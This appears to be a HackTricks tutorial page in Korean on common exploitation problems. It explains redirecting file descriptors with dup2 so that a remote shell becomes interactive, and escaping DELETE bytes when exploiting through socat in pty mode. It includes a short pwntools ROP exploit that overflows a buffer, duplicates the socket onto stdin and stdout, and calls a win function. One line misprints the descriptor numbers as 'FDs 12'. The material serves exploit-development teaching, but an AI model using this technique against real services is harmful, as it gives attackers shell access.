Common Exploiting Problems

Support HackTricks

원격 익스플로잇에서의 FD

예를 들어 **system('/bin/sh')**를 호출하는 익스플로잇을 원격 서버에 전송할 때, 이는 서버 프로세스에서 실행되며, /bin/sh는 stdin(FD: 0)에서 입력을 기대하고 stdout과 stderr(FDs 12)에 출력을 인쇄합니다. 따라서 공격자는 셸과 상호작용할 수 없습니다.

이를 해결하는 방법은 서버가 시작될 때 FD 번호 3(리스닝용)을 생성하고, 그 다음에 당신의 연결이 **FD 번호 4**에 있을 것이라고 가정하는 것입니다. 따라서 시스템 호출 **dup2**를 사용하여 stdin(FD 0)과 stdout(FD 1)을 FD 4(공격자의 연결)로 복제할 수 있으므로, 셸이 실행되면 연락할 수 있게 됩니다.

여기서 익스플로잇 예제:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

socat은 이미 **stdin**과 **stdout**을 소켓으로 전송합니다. 그러나 pty 모드는 DELETE 문자를 포함합니다. 따라서 \x7f ( DELETE -)를 보내면 당신의 익스플로잇의 이전 문자를 삭제합니다.

이를 우회하기 위해서는 전송되는 모든 \x7f 앞에 이스케이프 문자 \x16을 추가해야 합니다.

여기에서 이 동작의 예제를 찾을 수 있습니다.

Support HackTricks

Last updated